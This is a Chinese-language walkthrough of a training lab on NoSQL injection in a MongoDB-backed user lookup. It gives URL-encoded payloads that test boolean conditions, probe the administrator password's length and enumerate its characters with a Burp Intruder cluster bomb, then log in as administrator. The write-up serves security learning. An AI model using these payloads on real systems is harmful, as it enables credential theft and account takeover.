第三关 利用 NoSQL 注入提取数据
**这一关就是通过 NoSQL 注入漏洞,**逐字符提取数据库中的敏感数据
提示:1、靶场的用户查找功能由 MongoDB NoSQL 数据库提供支持。它容易受到 NoSQL 注入的攻击。
2、要解决该实验室,请提取 管理员用户的密码,然后登录到其帐户。
3、自己的帐户:wiener:peter。
4、密码仅使用小写字母。
具体操作:
1、运行burp时,登录账户wiener:peter
2、靶场提示说:用户查找功能由MongoDB提供,它容易受到 NoSQL 注入的攻击
那么就去找到用户查找功能的数据包GET /user/lookup?user=wiener,发往repeater
3、在 Repeater 中,在 user 参数中提交一个 ' 字符。
加了个单引号。测试下有没有注入
这会导致错误。这可能表明用户输入未正确过滤或清理。
返回显示:获取错误的用户详细信息

4、然后尝试在 user 参数中提交有效的 JavaScript 有效负载:
user=wiener'+'
确保通过突出显示user参数的值(有效负载),并使用快捷键键 Ctrl+U 对有效负载进行 URL 编码。
user=wiener'%2b'
响应检索了 wiener 用户,这表示可能正在发生某种形式的服务器端注入。

5、然后来尝试确定是否可以注入布尔条件来更改响应:
在用户参数中提交 false 条件:
user=wiener' &&; '1'=='2
确保对有效负载进行 URL 编码
user=wiener'+%26%26%3b+'1'%3d%3d'2
响应中检索消息 “获取用户详细信息时出错 ”。

然后在用户参数中提交 true 条件
user=wiener' && '1'=='1
确保对有效负载进行 URL 编码
user=wiener'+%26%26%3b+'1'%3d%3d'1
插入条件为真,不再报错,反而检索出wiener用户信息
这说明可以针对 true 和 false 条件触发不同的响应

分析完,接下来确定密码长度:
将用户参数更改为:
administrator' && this.password.length < 30 || 'a'=='b
确保对有效负载进行 URL 编码
user=administrator'+%26%26+this.password.length+<+30+||+'a'%3d%3d'b
响应会检索管理员用户的帐户详细信息。这表示条件为 true,因为密码少于 30 个字符。

减少有效负载中的密码长度,然后重新发送请求,继续尝试不同的长度
当提交值 9 时,检索了管理员用户的帐户详细信息,但是当提交值 8,收到一条错误消息,因为条件为 false。这表示密码长度为 8 个字符
user=administrator' && this.password.length < 8 || 'a'=='b
url编码后:
改成:user=administrator'+%26%26+this.password.length+<+8+||+'a'%3d%3d'b

然后右键单击请求,然后选择发送给intruder
在 Intruder 中,枚举密码:
user=administrator' && this.password[0]=='a
1、选中集束炸弹模式
2、对有效载荷进行url编码后,添加为两个变量
user=administrator'+%26%26+this.password[§0§]%3d%3d'§a§

payload设置:
在有效负载侧面板中,从有效负载位置下拉列表中选择位置 1。为密码的每个字符添加 0 到 7 之间的数字。

从有效负载位置下拉列表中选择位置 2,然后从 a 到 z 添加小写字母,可以使用内置的 az 列表。

保持默认线程池,开始攻击
1、先点击有效载荷1,进行排序
2、然后点击长度排序
密码:nhbzashj

然后退出,用管理员的账户和爆破出来的密码进行登录
